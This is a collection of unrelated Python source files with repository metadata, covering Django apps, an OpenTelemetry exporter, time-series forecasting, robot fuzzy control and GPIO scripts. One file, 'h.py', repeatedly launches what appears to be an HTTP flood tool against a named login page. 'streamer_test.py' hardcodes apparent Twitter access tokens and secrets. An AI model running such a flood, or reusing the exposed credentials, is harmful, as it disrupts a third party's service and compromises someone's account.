395746194a12b799d15c23b955fd8b91a559e964 | e9ad5ea8fb9927b4b2dc1290304e52758b382a67 | /src/blog/models.py | 11631dff5667ad9a39f6886eeef8d6e6878f5fad | [] | no_license | yuri08011990/project-2 | 6a7ec987abe6c43385b439ffb5ab10c4bf304e7b | f0e6ea0fed6d7a78ced271cc303940a335f4295a | refs/heads/master | 2022-12-22T02:19:56.689258 | 2018-08-16T18:15:58 | 2018-08-16T18:15:58 | 141,736,798 | 0 | 1 | null | 2022-12-16T06:36:18 | 2018-07-20T16:53:35 | Python | UTF-8 | Python | false | false | 642 | py | from django.db import models
from django.utils import timezone
from ckeditor_uploader.fields import RichTextUploadingField
# Create your models here.
class Post(models.Model):
author = models.ForeignKey('auth.User', on_delete=models.CASCADE)
title = models.CharField(max_length=200)
text = RichTextUploadi... | [
"yuraskavinsky@gmail.com"
] | yuraskavinsky@gmail.com |
b6c64331e627594017587bee65ada765a78c3aa2 | 1e1376342cc8256de400857500ad6784a50514a7 | /ext/opentelemetry-ext-otcollector/src/opentelemetry/ext/otcollector/trace_exporter/__init__.py | fb6237e86d8cb393eceb85d6c2486e836dac4410 | [
"Apache-2.0"
] | permissive | nirsky/opentelemetry-python | 7f62abb123a640c4b7e9d773714e1c55976c974f | 8d09319c43a24b05d14128361de2c9afe8c856b6 | refs/heads/master | 2022-07-17T23:24:52.654516 | 2020-05-12T23:37:01 | 2020-05-12T23:37:01 | 260,860,682 | 0 | 0 | Apache-2.0 | 2020-05-03T08:36:35 | 2020-05-03T08:36:34 | null | UTF-8 | Python | false | false | 6,009 | py | # Copyright The OpenTelemetry Authors
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or agreed to in ... | [
"noreply@github.com"
] | nirsky.noreply@github.com |
769d739ebef2c3aefc0b3747863e216c1cd9bf9d | cab7a7de9417a8901b947a2927d4fc27eabeb48b | /predict/arima_prediction.py | ac29bcfc113c61f21f125e8137d465665434cd6a | [] | no_license | Michael2397/MultivariateForecasting | 1adbe44ffea5e1ada4ceedfae23acda45c092cb8 | b187e386a951452e325d7e76e0b443b6708ed292 | refs/heads/master | 2020-04-08T20:00:47.302355 | 2018-11-30T01:45:18 | 2018-11-30T01:45:18 | 159,680,512 | 1 | 1 | null | null | null | null | UTF-8 | Python | false | false | 1,521 | py |
# coding: utf-8
# In[204]:
##load data
import prepare
import importlib
path = 'data/business.xls'
business = prepare.loadDataSet(path)
# In[202]:
test = pd.read_excel(path)
# In[203]:
test.head()
# In[276]:
business.tail(7)
# In[207]:
##get daylist
importlib.reload(prepare)
datelist = prepare.get_da... | [
"2692613726@qq.com"
] | 2692613726@qq.com |
7d43725ec9a45d83dc444544244da257a3c11c20 | 38fe7f92d33a6091e5bfa42b1539bb7409eee0cd | /Solutions/MissingNumber/missingNo.py | 96df0889669e11b4dd505034eb5994ddca5036de | [] | no_license | phibzy/InterviewQPractice | bbda3fb1eb068d7870b6e8880cea16e342368bd7 | 0c8641ffb48c862ebb4e5471ae0915780b0a9f98 | refs/heads/master | 2023-03-28T08:12:47.146313 | 2021-03-30T23:54:13 | 2021-03-30T23:54:13 | 259,839,350 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 478 | py | #!/usr/bin/python3
"""
@author : Chris Phibbs
@created : Thursday Mar 04, 2021 13:24:11 AEDT
@file : missingNo
"""
class Solution:
# The cheeeeeeeeeeeese
# Just find the difference between the expected sum of all numbers 0 to N
# and the sum of everything in nums
# TC: O(N) - p... | [
"phibzy@gmail.com"
] | phibzy@gmail.com |
7bd3f3f1fd8443f552fec39bb8e367be7c3eb367 | 15c3ee205f83854a219f4893c5b78a872b6717e3 | /liquepy/num/o3.py | a1f78597692fea653156816a0458cb06911a2570 | [
"MIT"
] | permissive | geosharma/liquepy | 7def9e793915268ce9365e474749bdf8d0aa3166 | 05d810fe643128b60430bf7f91be899cab9542c6 | refs/heads/master | 2022-02-18T17:24:44.446980 | 2022-02-13T16:57:47 | 2022-02-13T16:57:47 | 219,091,135 | 4 | 0 | MIT | 2021-03-20T13:52:20 | 2019-11-02T02:11:33 | null | UTF-8 | Python | false | false | 2,492 | py | from liquepy.num.models import PM4Sand as PM4SandBase
from liquepy.num.models import StressDensityModel as StressDensityModelBase
from liquepy.num import models
class PM4Sand(PM4SandBase):
type = "pm4sand"
o3_type = 'pm4sand'
def __init__(self, wmd=None, liq_mass_density=None, liq_sg=1.0, g=9.8, p_atm=10... | [
"maxim.millen@gmail.com"
] | maxim.millen@gmail.com |
796e614f4db6b151308e0cdcec154a1c3036ce39 | 247c5a57c5014c135a24455298fdcea2f2e59a40 | /pretreatment/barrages_prepro.py | 4261af6ff1a1762da9c34023c53962a4d6db77df | [
"Apache-2.0"
] | permissive | gdh756462786/transformer_barrages | 231d06939c0624ddeaf8c7de204d4dfa56e580c7 | 08d4de27cda354a13d9a7e50ddc8cee2f6cd348c | refs/heads/master | 2022-04-12T12:09:34.286761 | 2020-02-24T08:07:46 | 2020-02-24T08:07:46 | null | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 2,925 | py | # -*- coding: utf-8 -*-
"""
@date: 2020.1.10
@author: liluoqin
@function:
process pretreatment data
"""
import os
import errno
import sentencepiece as spm
import re
import logging
import jieba
import sys
from sklearn.model_selection import train_test_split
sys.path.append("..")
from hparams import Hparams
logging.... | [
"1182953475@qq.com"
] | 1182953475@qq.com |
762c2985280b01c8b56ec67fa9414dbd8940a6af | aba4488b79a933b7d0f4833ad06774e7f0093164 | /scene_playground2+fuzz_13Mei.py | b69f566516d0e342f43e6d7a35afd77ce4cac797 | [
"MIT"
] | permissive | putradarfyma/remote-api | da7f211794c540f73996a247a4ee60a96f01e463 | e237988583c39f4a197aa98e97af85ea24fc1bfa | refs/heads/master | 2020-04-27T16:42:41.374456 | 2019-06-10T10:26:41 | 2019-06-10T10:26:41 | 174,490,957 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 3,797 | py | # -*- coding: utf-8 -*-
"""
Created on Fri Mar 29 14:02:59 2019
@author: darfyma
"""
import vrep
import sys
import numpy as np
import skfuzzy as fuzz
from skfuzzy import control as ctrl
#-------------------------Fuzzy Setup------------------------------------------
lf = np.arange(0,1, 0.001)
left = ctrl.Antecedent... | [
"darfymadani@gmail.com"
] | darfymadani@gmail.com |
5c4de35cac76c8ae183947842007617d74433396 | 4bba23e090ffcb754e284c56234632904a940813 | /cadastro/core/migrations/0001_initial.py | 21f37025a943c92b6db8f0cc6d31da38eb74b87b | [] | no_license | GiovanaThais/crud-django | 98f41a1aec0a98f74d8090a7996aa350e0b05adb | cdb0c72d57631f1823b679791d45c4a922c14e9a | refs/heads/master | 2023-02-13T15:53:24.983849 | 2021-01-14T20:18:40 | 2021-01-14T20:18:40 | 325,638,794 | 3 | 0 | null | null | null | null | UTF-8 | Python | false | false | 1,185 | py | # Generated by Django 3.1.4 on 2020-12-24 17:29
from django.conf import settings
from django.db import migrations, models
import django.db.models.deletion
class Migration(migrations.Migration):
initial = True
dependencies = [
migrations.swappable_dependency(settings.AUTH_USER_MODEL),
]
ope... | [
"giovanatgc@hotmail.com"
] | giovanatgc@hotmail.com |
0efdd1a0ebe604430982bbf8426b508f8fb2c0be | dd32803789eb65a518457491cdbda7a32811713d | /app_market/migrations/0064_shiftappealinsurance.py | ae7988c2161c3a61cc19580b4db159d561bdafa3 | [] | no_license | shmeser/giberno-postman | 4d974f0c9e69a4f6fb64f124b754acf9d732d79b | 19ffefa3f818c04831aaed28e6540274ba4fbc90 | refs/heads/master | 2023-08-14T22:35:09.034847 | 2021-09-01T11:36:43 | 2021-09-01T11:36:43 | 407,432,422 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 3,814 | py | # Generated by Django 3.1.4 on 2021-08-03 07:47
import app_market.enums
import django.contrib.postgres.fields
from django.db import migrations, models
import django.db.models.deletion
class Migration(migrations.Migration):
dependencies = [
('app_market', '0063_auto_20210713_1532'),
]
operations... | [
"sergey.shmelev@appcraft.team"
] | sergey.shmelev@appcraft.team |
eda135480e6d9b957280b0f89d9db5d535880bb2 | 97189337e60807677879ae8d0b20f981aecec31a | /myst_nb/core/read.py | 2b3dae4b3d8671b2c4a567593980fcdb233db71f | [
"BSD-3-Clause"
] | permissive | krassowski/MyST-NB | bc58aae09d4ea9da37cf8e94c6839d418065a1dc | 3d6a5d16d808dd9dfe95f71e5c0b6f08c7c3cc00 | refs/heads/master | 2023-08-03T15:47:37.909781 | 2023-06-30T13:25:23 | 2023-06-30T13:25:23 | 361,024,551 | 0 | 0 | BSD-3-Clause | 2023-07-30T15:20:19 | 2021-04-23T23:00:42 | Jupyter Notebook | UTF-8 | Python | false | false | 14,438 | py | """Module for reading notebook formats from a string input."""
from __future__ import annotations
import dataclasses as dc
from functools import partial
import json
from pathlib import Path
from typing import Callable, Iterator
from docutils.parsers.rst import Directive
from markdown_it.renderer import RendererHTML
f... | [
"noreply@github.com"
] | krassowski.noreply@github.com |
9b1cf669f41788b6659fa11c4c50aa913633ddb4 | a730426dadb0f590c08c99e52e296a5bf15c6438 | /project/app/models.py | 80ee394f0d07df6fa88dc218b101dbad4591b880 | [] | no_license | Farhanaurmi/f_project3 | 7835a3622afe09a82aaf457f6eec3d9db87704d1 | 053d60e75bda7ee0010edb5c2a810c4a9ee89b59 | refs/heads/main | 2023-05-07T03:59:51.266903 | 2021-05-25T06:28:02 | 2021-05-25T06:28:02 | 364,282,825 | 1 | 0 | null | null | null | null | UTF-8 | Python | false | false | 6,512 | py | from django.db import models
from django.contrib.auth.models import User
from django.db.models.deletion import CASCADE
from django.db.models.fields import DateField
from django.utils.timezone import now
from django.utils.crypto import get_random_string
import uuid
class Driver(models.Model):
driver_id = models.Au... | [
"76726981+Farhanaurmi@users.noreply.github.com"
] | 76726981+Farhanaurmi@users.noreply.github.com |
b50c48fa6283f5bb03694b6975d0d31ece6f9365 | 54c871231818cc56dcda214d6ddf9bfb50838e5d | /streamer_test.py | 831a71614cf55b77af855ac086c77fa70347e213 | [] | no_license | squadss/Sqroll-RecomSys | c93213e8ff8eb75ce3838c3a3711b04f41d20e97 | edc1030002d24e13d41f05a9c3e6e2c80240fd06 | refs/heads/main | 2023-03-06T04:35:04.858013 | 2021-02-17T06:43:17 | 2021-02-17T06:43:17 | 304,221,813 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 1,282 | py | import sys
from tweepy import OAuthHandler
from tweepy import API
from tweepy import Stream
from tweepy.streaming import StreamListener
# Replace the "None"s by your own credentials
ACCESS_TOKEN = "1313558487905910784-vCnDIrbDsfG6JkkBD7lANxv1ucpbu4"
ACCESS_TOKEN_SECRET = "FAUAcXS6CdUKSQ1woyQzO1OcSAUlXNMt2NkBlsFdqCAJK... | [
"chriswang019@gmail.com"
] | chriswang019@gmail.com |
3bffc193e55b7f0bed8c7031e6bf68d5ea292eb6 | 5bca7b77565faaabce58d28afb44efee2a4d3029 | /zeus.py | b4a6f0c5448e8e09bdad192423822106c2d4243e | [] | no_license | linxiaojia2017/gdut | be1dfc45f74024868c1ae0aaae9e3bdfb8bb28ea | 431ca3428ab6ad8d74ad394d10a345aa29575b07 | refs/heads/master | 2020-05-15T20:21:48.945065 | 2019-04-22T01:57:25 | 2019-04-22T01:57:25 | 182,481,542 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 6,757 | py | #!/usr/bin/python
import os
import sys
import RPi.GPIO as GPIO
import time
GPIO.setmode(GPIO.BCM)
GPIO.setup(17,GPIO.OUT)
GPIO.setup(27,GPIO.OUT)
GPIO.setup(23,GPIO.OUT)
GPIO.setup(24,GPIO.OUT)
GPIO.setup(18,GPIO.OUT)
GPIO.setup(21,GPIO.OUT)
GPIO.setup(25,GPIO.OUT)
GPIO.setup(1,GPIO.OUT)
GPIO.setup(6,GPIO.OUT)
GPIO.... | [
"noreply@github.com"
] | linxiaojia2017.noreply@github.com |
436e54f3b07732642a1606d1b03321767aca2162 | 0bf213849406207f6a4f5f334a3ca2ad2a80ac75 | /src/python/plugins/resource_orchestrator/utils/parsers/commons_com.py | d7a28ae3d61ed5f1709b0b2aa1c8b45a43b4b924 | [] | no_license | CarolinaFernandez/ocf-expedient-ro | e90c6dbeb50f76d3eae13e6318463949080ac5c9 | 1c75a72f88cd31785c570e0821fe86bf91516b7a | refs/heads/master | 2021-01-10T18:13:14.764001 | 2015-06-17T17:42:57 | 2015-06-17T17:42:57 | 36,852,163 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 4,017 | py | EMULAB_XMLNS = "http://www.protogeni.net/resources/rspec/ext/emulab/1"
# COM Data Models
class Node(object):
# Node "unavailable" unless the contrary is said
def __init__(self, component_id, component_manager_id, component_name,
exclusive=None, available=False, interfaces=[],
... | [
"carolina.fernandez@i2cat.net"
] | carolina.fernandez@i2cat.net |
bf97407fe76721764f8aef23d96dd2d802592dcb | f709f2ad943126d504d5f4c13af71783deefe898 | /mbajupyter/marketbasketanalysis.py | fba7b86d362dd2fcb18666cc2fab49501317fd7b | [] | no_license | sunema198/marketbasketanalysis-and-visualization | 00d00e5faf20c8778ba8f547c9b64d58d802912d | da7f13dd271d3a625a0ece721ae7c858041e08a7 | refs/heads/master | 2022-11-05T09:00:15.091018 | 2019-08-20T15:06:50 | 2019-08-20T15:06:50 | 203,398,619 | 0 | 1 | null | 2022-10-17T17:53:12 | 2019-08-20T14:58:19 | Python | UTF-8 | Python | false | false | 4,344 | py | #%%
from jupyterthemes import jtplot
jtplot.style(theme='onedork', context='talk', fscale=1.4, spines=False, gridlines='--', ticks=True, grid=False, figsize=(6, 4.5))
from os.path import join
import pandas as pd
import numpy as np
import seaborn as sns
current_palette = sns.color_palette()
%matplotlib inline
import mat... | [
"shresthashanima58@gmail.com"
] | shresthashanima58@gmail.com |
87c2060d5dfd08a359e93d8d648496437635aff6 | 66f09ba0bc473b2e2eaa2c8bca6e4a97a550fbc5 | /orders/migrations/0001_initial.py | f6cff0f9d32bf075d0f4d6c6acb5be846546325a | [] | no_license | sanix-sandel/ZanduB | 729aefb83b14f4dd8e669b1b21e07f5b96271f69 | df1159c8ccf3fddda90a5eff21b43024ca02de03 | refs/heads/master | 2022-11-30T20:29:12.908518 | 2020-08-11T03:58:44 | 2020-08-11T03:58:44 | 269,744,204 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 2,240 | py | # Generated by Django 3.0.7 on 2020-07-08 08:59
from django.conf import settings
from django.db import migrations, models
import django.db.models.deletion
import uuid
class Migration(migrations.Migration):
initial = True
dependencies = [
('products', '0001_initial'),
('stores', '0002_auto_2... | [
"sanicksikani@gmail.com"
] | sanicksikani@gmail.com |
aee4f8c99197c5bc0e2dec263a35a9aaf713e0e7 | 9ff9ed93054d0b10c2cedc19b341b544102a08ad | /gcd.py | 8d2ff43a5ad9244132c0106a1c51b000fedfd97e | [] | no_license | vkhrbanda97/python-3 | 54207087462496a36e950b4589c4c3330217a335 | 887c8fdab4fc3e6ba03cb17d801cde64592da0af | refs/heads/master | 2020-03-22T20:37:29.949669 | 2018-07-12T11:30:45 | 2018-07-12T11:30:45 | 140,615,428 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 826 | py | print("TO find the LCM and GCD of the two numbers")
print("")
while True:
print("1.GCD")
print("2.LCM")
print("3.Exit")
choice=int(input("Enter the choice"))
if choice==1:
a=int(input("Enter the first number:"))
b=int(input("Enter the second number:"))
if a>b:
small=b
... | [
"noreply@github.com"
] | vkhrbanda97.noreply@github.com |
d3c2a970893762cbc6afa6366e45c487b337a71b | d41cf32bd1ff18eca4ca8bfc2908eeb48b0df959 | /other/app/lstm_trial_best.py | 2475cbd67d12ff7015d21275ffb6dac25e949164 | [] | no_license | tedlaw09/time_series_forecaster | 1db8c17902bdd790fe9f33f841eb5de204b5672b | 62f6fa0d5e832d2d1786eae729d9462b78d9b459 | refs/heads/main | 2023-09-03T18:47:07.025929 | 2021-10-31T14:51:06 | 2021-10-31T14:51:06 | 423,173,487 | 1 | 0 | null | null | null | null | UTF-8 | Python | false | false | 1,564 | py | import numpy as np
import tensorflow as tf
from ts.data.generate.univariate.nonexo import StandardGenerator
from ts.utility import Utility
from ts.model.univariate import LstmForecast
from ts.plot import Plot
def main():
n = 21500
trainN = 21000
seqLength = 500
numSeqPlot = 5
trainData, testData... | [
"tedlaw@126.com"
] | tedlaw@126.com |
ebd2e6985964b956fec58befef726c85f244deea | 788c025b27cecd0325e7cf447a5e96985fd5d40b | /circle.py | 65317821cff6d0ead47550f7bce7e64b6d892682 | [] | no_license | fukenrice/HSE_Computing_Architecture_hw3 | 03ae990a72c3a9baacb6d757984a4ee57393121d | 0989456a40316ccad54c4b4a7eec33d4dea3c9e9 | refs/heads/master | 2023-08-28T01:41:47.418218 | 2021-11-04T00:13:35 | 2021-11-04T00:13:35 | 424,419,307 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 1,157 | py | import math
import random
from shape import *
class Circle(Shape):
def __init__(self):
self.x1 = 0
self.y1 = 0
self.radius = 0
self.color = 0
def from_file(self, int_array):
self.x1 = int_array[0]
self.y1 = int_array[1]
self.radius = int_array[2]
... | [
"63079551+fukenrice@users.noreply.github.com"
] | 63079551+fukenrice@users.noreply.github.com |
bac700e0ebdc1fedeb1c500b008c044106623399 | 11ab6e93db07afcca19247d44b77ac5280d52ecf | /Factor_gplearn.py | 1cd42c1a4de15f8af62a1f2c31bba27b23e2fead | [] | no_license | qwzhong1988/FactorBackTest | 382f71cdbdba775f4fd1f6ad81285c858c6315ba | 23b9c72536cfe8215e557de6cb9242d3633a16a0 | refs/heads/master | 2023-06-11T05:41:45.552575 | 2020-08-15T02:16:57 | 2020-08-15T02:16:57 | null | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 14,306 | py | # -*- coding: utf-8 -*-
"""
Created on Sat Jul 25 17:19:45 2020
@author: yuba316
"""
import numpy as np
import pandas as pd
from pyfinance.ols import PandasRollingOLS
import graphviz
from scipy.stats import rankdata
import pickle
from gplearn import genetic
from gplearn.functions import make_function
f... | [
"yuba316@hotmail.com"
] | yuba316@hotmail.com |
568aae5dc6cade5906d78bcd56622641341f9558 | 076ee0d1114c538507f2dd02d1b92ebfb179b525 | /psmatch1.py | 6fc06578c659ca1ffb9d961d3cc7165a53b87691 | [] | no_license | poppynut/coolpython | 5a0ed0d483e8facc059c57f0b41c2052348122d4 | d15e4d63d06f7685fa9b3c225c31a092b585494a | refs/heads/master | 2021-01-01T03:47:22.091933 | 2016-04-29T07:00:27 | 2016-04-29T07:00:27 | 57,208,635 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 154 | py | import re
s = 'the python and the perl scripting'
m = re.match('python', s, re.I)
if m:
print "got a match :)"
else:
print "failed to match :(" | [
"rajkumar.santharam@rakuten.com"
] | rajkumar.santharam@rakuten.com |
fc889c6c341df9b46d24a318d471370fb6bb9497 | eba02c3c98f00288e81b5898a201cc29518364f7 | /chapter_007/pets.py | 83d401ba31dbbed09db27ad6c7c54fce7c610e20 | [] | no_license | kengru/pcrash-course | 29f3cf49acfd4a177387634410d28de71d279e06 | 5aa5b174e85a0964eaeee1874b2be1c144b7c192 | refs/heads/master | 2021-05-16T09:36:16.349626 | 2017-10-11T17:56:56 | 2017-10-11T17:56:56 | 104,481,645 | 1 | 0 | null | null | null | null | UTF-8 | Python | false | false | 182 | py | # Removing items from list with a while loop.
pets = ['dog', 'cat', 'dog', 'goldfish', 'cat', 'rabbit', 'cat']
print(pets)
while 'cat' in pets:
pets.remove('cat')
print(pets)
| [
"kengrullon@gmail.com"
] | kengrullon@gmail.com |
b7f601fdccad85414b32a5e52a27d993d88b141f | f82dff6fcefbbfdfc78a6eab3739034729e164cc | /h.py | c16820148e78c1116617972be8cf038b6e18e1af | [] | no_license | junelynpalma/j | 89be92bb5375e853308f534a44bdcd1837c2c0e2 | 90509d88839af3825ffcab440489922bdc9e5d18 | refs/heads/main | 2023-08-07T04:18:49.834712 | 2021-09-27T13:12:35 | 2021-09-27T13:12:35 | 410,886,911 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 388 | py | import schedule
import time
import os
import sys
os.system('node g.js http://www.dogcopc.com/LOGIN http.txt 600 GET PHPSESSID:gq15q5ho3eqq6gatdqm6nqdva5')
def job():
os.system('node g.js http://www.dogcopc.com/LOGIN http.txt 600 GET PHPSESSID:gq15q5ho3eqq6gatdqm6nqdva5')
schedule.every(1).seconds.d... | [
"noreply@github.com"
] | junelynpalma.noreply@github.com |
5cfb3361aa21384fac60e75ba14bd9e3a4681b00 | 4fde675359243142b82cad7261a4e41691c6f56b | /binarisation/__init__.py | 424156d828bde4ac6f4cf23710b9ce79d21c4ccc | [] | no_license | Simon-Prevoteaux/binarisation-dnn | ae282aadaf5965ba18fd47c4455a54823c43eb5e | da2a8eb953bf2c80af3df9bae240e5aafc0cde34 | refs/heads/master | 2021-01-21T04:28:24.562682 | 2016-06-29T20:00:14 | 2016-06-29T20:00:14 | 50,359,932 | 0 | 1 | null | null | null | null | UTF-8 | Python | false | false | 70 | py | import datasets
import neuralnet
import project
import training_data
| [
"nathan.lapel@insa-rouen.fr"
] | nathan.lapel@insa-rouen.fr |
263dec14b21be1de1851bb6329d8e084abaa8cbc | ee4f57a7cf042407b68f19f38234fba5af45e784 | /agent_dir/agent_grl.py | ed827338020e9f88839bccd4736ff71c6ede8e15 | [
"MIT"
] | permissive | exe1023/GA-final | cc7c5de5e898651463855acbb82d761e91401981 | dad84cda665ef24e9568a79a2e7ff0a00edf5851 | refs/heads/master | 2021-09-04T05:05:07.748449 | 2018-01-16T05:39:17 | 2018-01-16T05:39:17 | 112,096,061 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 3,884 | py | import copy
import itertools
import numpy as np
from .agent_base import AgentBase
class AgentGRL():
""" A deep Q network agent optimize with genetic algorithm.
Args:
base_agent (Agent): Any RL agent.
agent_clf (Classifier): Any classifier that map observation to
choice of agent. U... | [
"b03902071@ntu.edu.tw"
] | b03902071@ntu.edu.tw |
d9c0423c56eef2d1798fb3f943cef5063284917d | 2f308fdfd3e0b04a620db242694c27f9dcf80f68 | /src/projects/migrations/0070_auto_20161015_1458.py | feb4546da5cdc53d28c2214689d8f3eaa8df4ab8 | [] | no_license | ouhouhsami/ecoquartier | 53943b1f54f9e958f17424a7de37bf037c6899d1 | 1faf47a70e1f8821245588fca3d2b70c80129ae7 | refs/heads/master | 2020-06-30T00:58:10.013928 | 2016-12-13T16:58:57 | 2016-12-13T16:58:57 | 67,034,544 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 573 | py | # -*- coding: utf-8 -*-
# Generated by Django 1.10 on 2016-10-15 14:58
from __future__ import unicode_literals
from django.db import migrations
def forward(apps, schema_editor):
LabelEcoQuartier = apps.get_model("projects", "LabelEcoQuartier")
l, created = LabelEcoQuartier.objects.get_or_create(label="charte... | [
"samuel.goldszmidt@gmail.com"
] | samuel.goldszmidt@gmail.com |
44f3345b79244d0a03d31f6c516de3aec6a9180c | 57a5e6ba1490dcad3182806247bde3fcc8628b8b | /venv/Scripts/pip3.7-script.py | 20895b930dca9bfed2955efa1515a2372fd36124 | [] | no_license | racostaqa/AutomationPhpTravels | 3fc642674f044bc2e23ad9930d49e3bbba15ba84 | 420a02a45b58c538829d7f7eb7464f630b2409f3 | refs/heads/master | 2020-04-11T13:36:25.574149 | 2018-12-14T21:14:29 | 2018-12-14T21:14:29 | 161,555,408 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 430 | py | #!C:\Users\Erick\PycharmProjects\AutomationPhpTravels\venv\Scripts\python.exe
# EASY-INSTALL-ENTRY-SCRIPT: 'pip==10.0.1','console_scripts','pip3.7'
__requires__ = 'pip==10.0.1'
import re
import sys
from pkg_resources import load_entry_point
if __name__ == '__main__':
sys.argv[0] = re.sub(r'(-script\.pyw?|\.exe)?$'... | [
"racosta@cecropiasolutions.com"
] | racosta@cecropiasolutions.com |
7e5a5f533a58d8da1c6ffa587e0f82e41af6f414 | 2d699f8237962b2ccfea6d2c773a2c082746e4ea | /if_elif.py | cf230a85f6b19eb3021bf00e01e38aac3e110248 | [] | no_license | jgreen44/ASU-IFT101-Assignment_01 | b4ebe33005f1cf85a85ee24d2e7fcc2f8121d025 | 7f9248fc1b70ec3a3383a513fed726784a861f83 | refs/heads/master | 2020-07-03T06:57:18.143786 | 2019-08-12T00:06:34 | 2019-08-12T00:06:34 | 201,825,571 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 850 | py | # Filename: if_elif
# Created by: jasongreen
# Date: Saturday, January 12, 2019
# Time of Creation: 12:07
# ---
firstNumber = int(input("Please enter a number: "))
secondNumber = int(input("Please enter another number: "))
thirdNumber = int(input("Please enter your last numb... | [
"jgreen44@asu.edu"
] | jgreen44@asu.edu |
abdae4e9c761662fa45d740a32988772bceb8468 | 76b27b9fc4f0db755bc993a9193cc0feabe0c8d6 | /JumpscaleCore/servers/startupcmd/StartupCMD.py | 2d8b16742327067e93cba54c4cd57e745d84ff54 | [
"Apache-2.0"
] | permissive | jimbertools/jumpscaleX_core | d04b929324be0ef48f7aa8240389d1e2b93d7b85 | 9358b6fafad6ece5c289e98ebccb3ba96eba9753 | refs/heads/master | 2020-08-03T17:48:01.962652 | 2019-09-05T11:58:49 | 2019-09-05T11:58:49 | null | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 27,779 | py | # Copyright (C) July 2018: TF TECH NV in Belgium see https://www.threefold.tech/
# In case TF TECH NV ceases to exist (e.g. because of bankruptcy)
# then Incubaid NV also in Belgium will get the Copyright & Authorship for all changes made since July 2018
# and the license will automatically become Apache v2 for al... | [
""
] | |
84ecc5700b1360b83dd2f61dbfc0470876a84a96 | 7f370ba3426745588b5c32a830799728cc15ffc2 | /is your word a palindrome.py | 436169b95d5d13c7a6c64f99ad9da492b7d8da5e | [] | no_license | RupeshBankar/My-Beginner-Projects | a86225796e8593a17f7ffaa64efb431c91abccb2 | 46582de0ae6086f846324afce00aca9b96d1d998 | refs/heads/master | 2020-06-26T10:41:32.363332 | 2019-07-30T09:17:20 | 2019-07-30T09:17:20 | 199,610,715 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 204 | py | word = input("Please enter a word: ")
reverse_word = word[::-1]
print(reverse_word)
if word == reverse_word:
print("Your word is a palindrome")
else:
print("Your word is not a palindrome") | [
"noreply@github.com"
] | RupeshBankar.noreply@github.com |
cfc911d8996469cf62e431df79295edf6bf5b5c3 | c48b5581ae57c85d6c5f483110da396b8ae4c4e8 | /week4 - soln/w4d4-dsi-non-parametric-learners/pair/run_decision_tree_pruning.py | 759f48d40893ab778c7bc105d1777334b8665071 | [] | no_license | tzw5099/as6 | 2cd083e9ccdfa27e7b91088c2faff95ca79a4608 | 98ccf2c58d7e809d95212e9432430fd09b17e5de | refs/heads/master | 2020-03-08T07:14:35.504456 | 2018-04-14T15:39:45 | 2018-04-14T15:39:45 | 127,989,624 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 791 | py | import pandas as pd
from itertools import izip
from DecisionTreePruning import DecisionTreePruning
def test_tree(filename):
df = pd.read_csv(filename)
y = df.pop('Result').values
X = df.values
print X
#tree = DecisionTree(leaf_size=10, depth=5, same_ratio=0.8, error_threshold=0.1)
tree = ... | [
"6289023+tzw5099@users.noreply.github.com"
] | 6289023+tzw5099@users.noreply.github.com |
24db7340aba8e8e843a4964cbe9ccfb940ebdb7a | 2ea0426b31b974591d23cc02f3423448dbcf79fa | /section6/example/pyqt_basic_4.py | 4b1c3cd21dcc43c852a705efc8f3d7bfc69a1132 | [] | no_license | seokhui11111/atom_py | f7bef272d0694c5a751f6be519a2816b42ac70b8 | 1dfd03d16501f55f1771c09ab1af03bdd574ef7b | refs/heads/master | 2021-01-26T14:06:03.202536 | 2020-03-16T04:58:01 | 2020-03-16T04:58:01 | 243,447,083 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 507 | py | import sys
from PyQt5.QtWidgets import *
from PyQt5.QtCore import *
from pyqt_basic_ui import Ui_MainWindow
# form_class=uic.loadUiType('D:/atom_py/section6/example/basic_test_01.ui')[0]
class TestForm(QMainWindow, Ui_MainWindow):
#생성자
def __init__(self):
super().__init__() #부모의 생성자
self.set... | [
"nsh1346@naver.com"
] | nsh1346@naver.com |
4fe9642ef7dde1d40795c19fb1cc45a58be8f2dc | d0fc262f16946cb97321f8af615cd92f8ad258b1 | /offers/sales/views.py | 3139c232fcea5f2936d10fd8554ab7661c3bcf22 | [] | no_license | proimo/ProimoBackend | f75cf1473e66b660b5c950ce37862629673eb255 | 4d0a61cc19e6666767a0654a7d1a40b9d079e351 | refs/heads/master | 2022-12-30T15:33:36.485223 | 2020-10-17T08:38:20 | 2020-10-17T08:38:20 | 287,110,736 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 1,748 | py | from offers.sales.models import ApartmentSale, HouseSale, LandSale, CommercialSpaceSale, OfficeSale, \
SpecialPropertySale, IndustrialSpaceSale
from offers.sales.serializers import ApartmentSaleSerializer, HouseSaleSerializer, LandSaleSerializer, \
CommercialSpaceSaleSerializer, OfficeSaleSerializer, SpecialPro... | [
"dan.percic@student.upt.ro"
] | dan.percic@student.upt.ro |
